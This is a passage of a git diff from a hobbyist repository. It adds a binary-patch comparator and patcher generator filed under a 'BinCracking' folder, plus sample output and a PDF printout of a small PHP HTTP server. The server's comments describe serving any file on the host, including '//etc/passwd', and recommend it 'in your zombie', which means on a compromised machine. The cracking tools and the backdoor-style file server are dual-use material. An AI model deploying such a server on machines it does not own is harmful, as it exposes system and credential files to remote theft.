+  fwrite(&patch, (sizeof(patch)-1), 1, bin); //Patch code\r
+  \r
+  //GO HOME ;}}\r
+  fclose(bin);\r
+  \r
+  printf("File was successfully patched!!!\n\n");  \r
+  system("PAUSE");     \r
+  return 0;\r
+}\r
diff --git a/misc/BinCracking/hexcmp.c b/misc/BinCracking/hexcmp.c
new file mode 100755 (executable)
index 0000000..a3cb8c3
--- /dev/null
@@ -0,0 +1,87 @@
+#include <stdio.h>\r
+#include <stdlib.h>\r
+\r
+int main(int argc, char *argv[])\r
+{\r
+  printf("HEXCMP 0.3\nHexadecimal Comparator\n<-Harvie 2oo7\n\n");\r
+  if(argc < 3) {\r
+          printf("Usage: hexcmp oldfile newfile [decimal_offset_to_start_at]\n");\r
+          printf("This will show what is new in \"newfile\",\n");\r
+          printf("this can be useful, when making binary patchers.\n\n");\r
+          system("pause");\r
+          return 0;\r
+          }\r
+    \r
+  printf("Comparing old \"%s\" with new \"%s\"\n", argv[1], argv[2]); \r
+  \r
+  FILE *forig, *fcrac;\r
+  forig = fopen(argv[1], "rb");\r
+    if(forig == NULL) { printf("Error while opening %s\n", argv[1]); return 0; }\r
+  fcrac = fopen(argv[2], "rb");\r
+    if(fcrac == NULL) { printf("Error while opening %s\n", argv[2]); return 0; }\r
+  \r
+  short found = 0;\r
+  unsigned long int offset = 0, last = 0, end = 0, dlen = 0;\r
+  int corig = 0, ccrac = 0;\r
+  \r
+  if(argc > 3) {\r
+          offset = atof(argv[3]);\r
+          printf("Comparing from offset D: %d H: 0x%x\n", offset, offset);\r
+          }\r
+  printf("\n");\r
+  \r
+  //Seek\r
+  fseek(forig, offset, SEEK_SET);\r
+  fseek(fcrac, offset, SEEK_SET);\r
+  \r
+  while((ccrac = fgetc(fcrac)) != EOF) {\r
+    if( (corig = fgetc(forig)) == EOF ) {\r
+       corig == -9999;\r
+       if(end == 0) {\r
+         end = 1;   \r
+       }\r
+    }\r
+    if(corig != ccrac) {\r
+      \r
+      if(end == 1) {\r
+        if(dlen != 0) {\r
+                printf("\nLenght: %d Bytes", dlen);\r
+                dlen = 0;\r
+                }\r
+        printf("\n\n--- END OF OLDER FILE ---\n\n"); \r
+        end = 2;\r
+      }\r
+      \r
+      if(offset != (last+1)) {\r
+        if(dlen != 0) {\r
+          printf("\nLenght: %d Bytes", dlen);\r
+          dlen = 0;\r
+          printf("\n\n");\r
+        }\r
+        printf("Difference @ D: %d H: 0x%x\n", offset, offset);\r
+      }\r
+        \r
+      printf("\\x%x", ccrac);\r
+      \r
+      dlen++;\r
+      last = offset;\r
+      found = 1;\r
+    }\r
+    \r
+    offset++;\r
+  }\r
+  \r
+   if(dlen != 0) {\r
+          printf("\nLenght: %d Bytes", dlen);\r
+        }\r
+  \r
+  fclose(forig);\r
+  fclose(fcrac);\r
+  \r
+  if(found == 0) {\r
+           printf("No difference found!!!");\r
+           }\r
+  printf("\n");\r
+  //system("PAUSE"); //Debug\r
+  return 0;\r
+}\r
diff --git a/misc/BinCracking/patcher_gen.phps b/misc/BinCracking/patcher_gen.phps
new file mode 100755 (executable)
index 0000000..ba09b40
--- /dev/null
@@ -0,0 +1,52 @@
+<?php\r
+//Patcher generator 0.3\r
+//Harvie 2oo7\r
+/*\r
+This will parse output from my HexCmp tool and\r
+create the code, than can be directly pasted to\r
+my BinPatcher source.\r
+Making of patcher was never easier.\r
+*/\r
+\r
+///SETINGS///////////////////////////////////////////////////////\r
+$proc = "hexcmp orig.exe crac.exe"; //HexCmp command\r
+$fp = "bin"; //FILE pointer to handle with\r
+\r
+///CODE//////////////////////////////////////////////////////////\r
+$pp = popen($proc, "r");\r
+while(!feof($pp)) {\r
+  $line = trim(fgets($pp));\r
+  \r
+  if(ereg("Difference", $line)) {\r
+    $offset = explode("H: ", $line);\r
+    $offset = $offset[1];\r
+    echo("fseek($fp, $offset"."L, SEEK_SET); //Seek to $offset\n");\r
+  }\r
+  \r
+  if(ereg("\\\\x.", $line)) {\r
+    $bytes = substr_count($line, "\\x");\r
+    echo("  fwrite(\"$line\", $bytes, 1, $fp); //Patch $bytes bytes\n");\r
+  }\r
+\r
+}\r
+\r
+///EXAMPLE///////////////////////////////////////////////////////\r
+/*\r
+  //Example output from HexCmp:\r
+Difference @ D: 222313 H: 0x36469\r
+\x90\x90\x90\x90\x90\r
+Lenght: 5 Bytes\r
+\r
+Difference @ D: 317430 H: 0x4d7f6\r
+\x13\x37\xc0\xde\r
+Lenght: 4 Bytes\r
+\r
+  //Will be turned to something like this:\r
+fseek(bin, 0x36469L, SEEK_SET); //Seek to 0x36469\r
+  fwrite("\x90\x90\x90\x90\x90", 5, 1, bin); //Patch 5 bytes\r
+fseek(bin, 0x4d7f6L, SEEK_SET); //Seek to 0x4d7f6\r
+  fwrite("\x13\x37\xc0\xde", 4, 1, bin); //Patch 4 bytes\r
+\r
+//Just compile ;))\r
+*/\r
+?>\r
diff --git a/php/hhttpd/examples/hhttpd_listing.html b/php/hhttpd/examples/hhttpd_listing.html
new file mode 100755 (executable)
index 0000000..00e7c70
--- /dev/null
@@ -0,0 +1,10 @@
+<head><title>Index of x:/WarGames/</title></head>
+<body>
+<b>Directory listing of x:/WarGames/ :</b><br /><br />
+
+1 - [DIR] <a href="./Sub">Sub</a><br />
+2 - <a href="./Wargames.avi">Wargames.avi</a><br />
+3 - <a href="./Wargames.sub">Wargames.sub</a><br />
+<br />
+<b>Total: 3</b>
+</body>
\ No newline at end of file
diff --git a/php/hhttpd/examples/hhttpd_listing_new.html b/php/hhttpd/examples/hhttpd_listing_new.html
new file mode 100755 (executable)
index 0000000..fec4cb8
--- /dev/null
@@ -0,0 +1,41 @@
+<html>
+<head><title>Index of c:/</title></head>
+<body><tt>
+<b>Available volumes:</b><br />
+[<a href="/">/</a>]
+[<a href="/c:/">c:</a>]
+[<a href="/d:/">d:</a>]
+[<a href="/e:/">e:</a>]
+[<a href="/f:/">f:</a>]
+[<a href="/x:/">x:</a>]
+[<a href="/y:/">y:</a>]
+[<a href="/z:/">z:</a>]
+<br />
+
+<b>Directory listing of c:/ :</b><br /><br />
+
+[DIR] <a href="./../">Parent Directory (../)</a><br />
+1 - <a href="./AUTOEXEC.BAT">AUTOEXEC.BAT</a><br />
+2 - <a href="./boot.ini">boot.ini</a><br />
+3 - <a href="./Bootfont.bin">Bootfont.bin</a><br />
+4 - <a href="./CONFIG.SYS">CONFIG.SYS</a><br />
+5 - [DIR] <a href="./Documents and Settings">Documents and Settings</a><br />
+6 - <a href="./hiberfil.sys">hiberfil.sys</a><br />
+7 - <a href="./IO.SYS">IO.SYS</a><br />
+8 - <a href="./ISACER.ID">ISACER.ID</a><br />
+9 - <a href="./MSDOS.SYS">MSDOS.SYS</a><br />
+10 - <a href="./NTDETECT.COM">NTDETECT.COM</a><br />
+11 - <a href="./ntldr">ntldr</a><br />
+12 - <a href="./pagefile.sys">pagefile.sys</a><br />
+13 - [DIR] <a href="./Program Files">Program Files</a><br />
+14 - [DIR] <a href="./RECYCLER">RECYCLER</a><br />
+15 - <a href="./sysc.sys">sysc.sys</a><br />
+16 - <a href="./sysc.syss">sysc.syss</a><br />
+17 - [DIR] <a href="./sysrpr">sysrpr</a><br />
+18 - <a href="./sysrpr.bat">sysrpr.bat</a><br />
+19 - [DIR] <a href="./System Volume Information">System Volume Information</a><br />
+20 - [DIR] <a href="./WINDOWS">WINDOWS</a><br />
+<br />
+<b>Total: 20</b>
+</tt></body>
+</html>
\ No newline at end of file
diff --git a/php/hhttpd/examples/hhttpd_output.txt b/php/hhttpd/examples/hhttpd_output.txt
new file mode 100755 (executable)
index 0000000..363572b
--- /dev/null
@@ -0,0 +1,19 @@
+
+       Starting Harvie's HTTPd at:
+       tcp://127.0.0.1:81
+
+200 [DIR] ./
+301 gbook_offline -> /gbook_offline/
+200 [DIR] gbook_offline/
+200 [DIR] gbook_offline/
+301 c: -> /c:/
+200 [DIR] c:/
+301 c:/WINDOWS -> /c:/WINDOWS/
+200 [DIR] c:/WINDOWS/
+301 c:/WINDOWS/repair -> /c:/WINDOWS/repair/
+200 [DIR] c:/WINDOWS/repair/
+200 c:/WINDOWS/repair/autoexec.nt
+200 c:/WINDOWS/repair/config.nt
+404 Some random name
+404 c:/Another notfound
+404 d:/notfoundtest
diff --git a/php/hhttpd/http_server.pdf b/php/hhttpd/http_server.pdf
new file mode 100755 (executable)
index 0000000..a4e198b
--- /dev/null
@@ -0,0 +1,1152 @@
+%PDF-1.3
+%Çì\8f¢
+1 0 obj
+<</Type/Font/Subtype/Type1/Name/F1/BaseFont/Helvetica/Encoding/WinAnsiEncoding>>
+endobj
+2 0 obj
+<</Type/Font/Subtype/Type1/Name/F2/BaseFont/Helvetica-Bold/Encoding/WinAnsiEncoding>>
+endobj
+3 0 obj
+<</Type/Font/Subtype/Type1/Name/F3/BaseFont/Helvetica-Oblique/Encoding/WinAnsiEncoding>>
+endobj
+4 0 obj
+<</Type/Font/Subtype/Type1/Name/F4/BaseFont/Helvetica-BoldOblique/Encoding/WinAnsiEncoding>>
+endobj
+5 0 obj
+<</Length 4046>>
+stream
+BT 1 0 0 1 72 762 Tm
+/F1 11 Tf 0 0 0 rg (#!usr/bin/php)Tj
+0 -13.2 TD
+/F2 11 Tf 0 0 1 rg (<?php)Tj
+T*
+/F1 11 Tf 0 0.498 0 rg (//Harvie's HTTPd 0.7)Tj
+T*
+(/*)Tj
+T*
+(  Allows you to binary safe download any file from remote pc)Tj
+T*
+(    http://server:port/file)Tj
+T*
+(    http://server:port//etc/passwd)Tj
+T*
+(    http://server:port/C:\\dir\\file)Tj
+T*
+(    http://server:port/C:/dir/file)Tj
+T*
+(  Since version 0.6 there is filelisting)Tj
+T*
+(    http://server:port/dir)Tj
+T*
+(    http://server:port//etc)Tj
+T*
+(    http://server:port/C:/dir)Tj
+T*
+(    http://server:port/C:/dir/)Tj
+T*
+(  You can also play multimedia like streams \(using XMMS, Winamp, etc...\))Tj
+T*
+(  But this can serve only one file a time)Tj
+T*
+(    \(if you are streaming or downloading, you can download/browse anything other,)Tj
+T*
+(    but you can use download manager to download file by file...\))Tj
+T*
+(  You can change port or interface by passing arguments)Tj
+T*
+(  Usage: \(httpd.php [port] [interface_IP]\))Tj
+T*
+(  This is very nice utility to use in your zombie.)Tj
+T*
+(*/)Tj
+T*
+T*
+(//////////////////////////////////////////////////////////////////////////////////)Tj
+T*
+0 0 0.498 rg ($interface)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("127.0.0.1")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+/F1 11 Tf 0 0.498 0 rg (//$interface = "192.168.2.130";)Tj
+T*
+0 0 0.498 rg ($port)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (80)Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+T*
+/F1 11 Tf 0 0.498 0 rg (//////////////////////////////////////////////////////////////////////////////////)Tj
+T*
+0 0 0.498 rg ($okheader)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Header 200 FILE)Tj
+T*
+(  )Tj
+0 0 1 rg ("HTTP/1.0 200 OK\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+T*
+/F1 11 Tf 0 0 0.498 rg ($dirheader)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Header 301 DIR)Tj
+T*
+(  )Tj
+0 0 1 rg ("HTTP/1.0 301 Moved Permanently\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Location: %DIR%\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+T*
+/F1 11 Tf 0 0 0.498 rg ($badheader)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Header 404)Tj
+T*
+(  )Tj
+0 0 1 rg ("HTTP/1.0 404 File not found!\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Server: Harvie's HTTPd\\n")Tj
+/F2 11 Tf 0 0 0 rg (.)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 1 rg ("Connection: close\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+T*
+T*
+/F1 11 Tf 0 0 0.498 rg ($err404)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("ERR 404 - NOT FOUND!")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Error 404)Tj
+T*
+T*
+(//////////////////////////////////////////////////////////////////////////////////)Tj
+T*
+/F2 11 Tf 0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (isset)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($argc)Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+({)Tj
+T*
+(  )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($argc)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (>)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($port)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (trim)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($argv)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (]\);)Tj
+T*
+(  )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($argc)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (>)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0.498 rg (2)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($interface)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (trim)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($argv)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0.498 0.498 rg (2)Tj
+/F2 11 Tf 0 0 0 rg (]\);)Tj
+T*
+(})Tj
+T*
+ET
+endstream
+endobj
+6 0 obj
+<</Length 7733>>
+stream
+BT 1 0 0 1 72 762 Tm
+/F2 11 Tf 0 0 0 rg /F1 11 Tf 0 0.498 0 rg (///FUNCTIONS//////////////////////////////////////////////////////////////////////)Tj
+0 -13.2 TD
+/F2 11 Tf 0 0 0.498 rg (function)Tj
+/F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj
+/F2 11 Tf 0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($directory)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+({)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 0.498 rg ($num)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("0")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+( )Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0.498 0 rg (//Header)Tj
+T*
+0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("<html>\\n<head><title>Index of )Tj
+0 0 0.498 rg ($directory)Tj
+0 0 1 rg (</title></head>\\n<body><tt>\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("<b>Available volumes:</b><br />\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(  )Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0.498 0 rg (//Special folders)Tj
+T*
+0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("[<a href=\\"/\\">/</a>]\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Server root)Tj
+T*
+(  )Tj
+/F2 11 Tf 0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (is_dir)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("/")Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+({)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Unix root)Tj
+T*
+0 0 0.200 rg (    @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("[<a href=\\"//\\">//</a>]\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(  )Tj
+(})Tj
+T*
+(  )Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0.498 0 rg (//Available volumes)Tj
+T*
+(  )Tj
+0 0 0.498 rg ($dsks)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("cdefghijklmnopqrstuvwxyz")Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+( )Tj
+/F1 11 Tf 0 0.498 0 rg (//Show this volumes \(if available\))Tj
+T*
+(  )Tj
+/F2 11 Tf 0 0 0.498 rg (for)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($i)Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+/F1 11 Tf 0 0.498 0.498 rg (0)Tj
+/F2 11 Tf 0 0 0 rg (;)Tj
+/F1 11 Tf 0 0 0.498 rg ($i)Tj
+/F2 11 Tf 0 0 0 rg (<)Tj
+0 0 0.498 rg (strlen)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($dsks)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+/F1 11 Tf 0 0 0.498 rg ($i)Tj
+/F2 11 Tf 0 0 0 rg (++\))Tj
+( )Tj
+({)Tj
+T*
+(    )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (is_dir)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($dsks)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0 0.498 rg ($i)Tj
+/F2 11 Tf 0 0 0 rg (].)Tj
+/F1 11 Tf 0 0 1 rg (":")Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+({)Tj
+T*
+(      )Tj
+/F1 11 Tf 0 0 0.498 rg ($vol)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($dsks)Tj
+/F2 11 Tf 0 0 0 rg ([)Tj
+/F1 11 Tf 0 0 0.498 rg ($i)Tj
+/F2 11 Tf 0 0 0 rg (];)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (      @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("[<a href=\\"/)Tj
+0 0 0.498 rg ($vol)Tj
+0 0 1 rg (:/\\">)Tj
+0 0 0.498 rg ($vol)Tj
+0 0 1 rg (:</a>]\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(    )Tj
+(})Tj
+T*
+(    )Tj
+/F1 11 Tf 0 0.498 0 rg (//echo\($dsks[$i].":"\);)Tj
+T*
+(  )Tj
+/F2 11 Tf 0 0 0 rg (})Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("<br />\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(  )Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0.498 0 rg (//Directory listing)Tj
+T*
+0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("<b>Directory listing of )Tj
+0 0 0.498 rg ($directory)Tj
+0 0 1 rg ( :</b><br /><br />\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (  @)Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("[DIR] <a href=\\"./../\\">Parent Directory \(../\)</a><br />\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(  )Tj
+/F1 11 Tf 0 0 0.498 rg ($files)Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+0 0 0.498 rg (opendir)Tj
+( )Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($directory)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+( )Tj
+T*
+(    )Tj
+0 0 0.498 rg (while)Tj
+( )Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (false)Tj
+0 0 0 rg (!==\()Tj
+/F1 11 Tf 0 0 0.498 rg ($file)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (readdir)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($files)Tj
+/F2 11 Tf 0 0 0 rg (\)\)\))Tj
+( )Tj
+T*
+(    )Tj
+({)Tj
+( )Tj
+T*
+(        )Tj
+0 0 0.498 rg (if)Tj
+( )Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($file)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (!=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg (".")Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (&&)Tj
+( )Tj
+/F1 11 Tf 0 0 0.498 rg ($file)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (!=)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("..")Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+T*
+(        )Tj
+({)Tj
+( )Tj
+T*
+(            )Tj
+/F1 11 Tf 0 0 0.498 rg ($num)Tj
+/F2 11 Tf 0 0 0 rg (++;)Tj
+T*
+(            )Tj
+0 0 0.498 rg (if)Tj
+0 0 0 rg (\()Tj
+0 0 0.498 rg (is_dir)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg (")Tj
+0 0 0.498 rg ($directory)Tj
+0 0 1 rg (/)Tj
+0 0 0.498 rg ($file)Tj
+0 0 1 rg (")Tj
+/F2 11 Tf 0 0 0 rg (\)\))Tj
+( )Tj
+({)Tj
+T*
+(              )Tj
+0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg (")Tj
+0 0 0.498 rg ($num)Tj
+0 0 1 rg ( - [DIR] <a href=\\"./)Tj
+0 0 0.498 rg ($file)Tj
+0 0 1 rg (\\">)Tj
+0 0 0.498 rg ($file)Tj
+0 0 1 rg (</a><br />\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(            )Tj
+(})Tj
+( )Tj
+0 0 0.498 rg (else)Tj
+( )Tj
+0 0 0 rg ({)Tj
+T*
+(              )Tj
+0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg (")Tj
+0 0 0.498 rg ($num)Tj
+0 0 1 rg ( - <a href=\\"./)Tj
+0 0 0.498 rg ($file)Tj
+0 0 1 rg (\\">)Tj
+0 0 0.498 rg ($file)Tj
+0 0 1 rg (</a><br />\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(            )Tj
+(})Tj
+T*
+(        )Tj
+(})Tj
+( )Tj
+T*
+(    )Tj
+(})Tj
+T*
+(    )Tj
+T*
+(    )Tj
+/F1 11 Tf 0 0.498 0 rg (//Footer)Tj
+T*
+(    )Tj
+/F2 11 Tf 0 0 0.498 rg (fwrite)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($fp)Tj
+/F2 11 Tf 0 0 0 rg (,)Tj
+( )Tj
+/F1 11 Tf 0 0 1 rg ("<br />\\n<b>Total: )Tj
+0 0 0.498 rg ($num)Tj
+0 0 1 rg (</b>\\n</tt></body>\\n</html>")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+(})Tj
+T*
+T*
+/F1 11 Tf 0 0.498 0 rg (///CODE///////////////////////////////////////////////////////////////////////////)Tj
+T*
+/F2 11 Tf 0 0 0.498 rg (echo)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("\\n\\tStarting Harvie's HTTPd at:\\n\\ttcp://)Tj
+0 0 0.498 rg ($interface)Tj
+0 0 1 rg (:)Tj
+0 0 0.498 rg ($port)Tj
+0 0 1 rg (\\n\\n")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0.498 0 rg (//system\("title Harvie's HTTPd at tcp://$interface:$port"\); //Microsoft Windows only)Tj
+T*
+/F2 11 Tf 0 0 0.498 rg (set_time_limit)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0.498 0.498 rg (0)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+/F1 11 Tf 0 0 0.498 rg ($sss)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (stream_socket_server)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 1 rg ("tcp://)Tj
+0 0 0.498 rg ($interface)Tj
+0 0 1 rg (:)Tj
+0 0 0.498 rg ($port)Tj
+0 0 1 rg (")Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+T*
+T*
+0 0 0.498 rg (while)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0.498 0.498 rg (1)Tj
+/F2 11 Tf 0 0 0 rg (\))Tj
+( )Tj
+({)Tj
+T*
+/F1 11 Tf 0 0 0.200 rg (  @)Tj
+0 0 0.498 rg ($sfp)Tj
+( )Tj
+/F2 11 Tf 0 0 0 rg (=)Tj
+( )Tj
+0 0 0.498 rg (stream_socket_accept)Tj
+0 0 0 rg (\()Tj
+/F1 11 Tf 0 0 0.498 rg ($sss)Tj
+/F2 11 Tf 0 0 0 rg (\);)Tj
+ET
+endstream
+endobj
+7 0 obj
+<</Length 8545>>
+stream
+BT 1 0 0 1 72 762 Tm
+/F2 11 Tf 0 0 0 rg (  )Tj
